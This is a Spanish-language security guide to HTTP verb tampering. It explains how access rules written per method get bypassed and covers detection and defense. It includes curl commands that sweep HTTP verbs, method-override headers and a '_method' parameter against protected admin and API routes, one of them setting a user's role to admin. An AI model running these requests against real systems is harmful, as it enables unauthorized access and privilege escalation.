HTTP Verb Tampering

El HTTP verb tampering (manipulación del método HTTP) salta un control de acceso enviando la petición con un método distinto del que el desarrollador previó. Si la protección solo cubre GET y POST, cambiar a HEAD, PUT o incluso un verbo arbitrario puede colar la petición sin autenticación.

Por qué funciona. Muchas reglas de autorización se escriben "por método": una restricción de seguridad (en web.xml, en la configuración del servidor o en un WAF) que solo enumera GET y POST. La mayoría de servidores, sin embargo, procesan otros verbos, y algunos frameworks tratan un método desconocido como si fuera GET. El resultado: la lógica de la aplicación se ejecuta, pero el guardia que debía frenarla nunca se activa porque solo miraba los métodos "de la lista".

El abuso. Se toma una petición bloqueada y se prueba con otros métodos hasta encontrar uno que no filtre la restricción pero que el servidor siga atendiendo.

# la peticion normal esta protegida (401/403)
curl -i https://<domain>/admin/config

# el mismo recurso con HEAD o un verbo arbitrario puede saltarse el control
curl -i -X HEAD https://<domain>/admin/config
curl -i -X FOO  https://<domain>/admin/config

# barrido rapido de verbos: mirar cual devuelve 2xx en vez de 401/403/405
for m in GET POST HEAD PUT DELETE OPTIONS PATCH TRACE FOO; do
  printf '%-8s ' "$m"; curl -s -o /dev/null -w '%{http_code}\n' -X "$m" https://<domain>/admin/config
done

Overrides de método (cabeceras y parámetros). Cuando el propio servidor no acepta el verbo, muchos frameworks permiten "tunelarlo": mandas un POST (que el WAF sí deja pasar) y una cabecera o un parámetro le dice a la app que lo trate como otro método. Sirve para alcanzar rutas PUT/DELETE protegidas colándose por POST.

# cabeceras de override (Java/Spring, algunos proxies y APIs REST)
curl -i -X POST -H 'X-HTTP-Method-Override: PUT'    https://<domain>/api/user/1 -d '{"role":"admin"}'
curl -i -X POST -H 'X-HTTP-Method: DELETE'          https://<domain>/api/user/1
curl -i -X POST -H 'X-Method-Override: PUT'         https://<domain>/api/user/1

# parametro _method (Rails, Laravel, Symfony) tunelado dentro de un POST de formulario
curl -i -X POST https://<domain>/user/1 -d '_method=DELETE'

Requisitos. Hace falta un control de acceso definido por método (no por identidad) y un servidor que acepte métodos no contemplados por esa regla. No siempre existe: si la autorización se comprueba en la lógica de la aplicación para cualquier método, el verbo no cambia nada.

Cómo detectarlo. La señal es tráfico con métodos HTTP poco habituales (HEAD, PUT, DELETE, verbos inventados) hacia rutas sensibles, y respuestas exitosas (2xx) a métodos que deberían dar 405 Method Not Allowed. En los logs, peticiones con verbos raros seguidas de acceso a funciones administrativas son el patrón; un WAF puede alertar de métodos fuera de una lista blanca.

Defensa. Comprobar la autorización por identidad y no por método, aplicar la restricción a todos los verbos (o denegar por defecto y permitir solo los necesarios), y deshabilitar los métodos HTTP que la aplicación no use. Es primo de otros saltos de control de acceso como el IDOR y el bypass por X-Forwarded-For: todos explotan que la autorización mira la señal equivocada.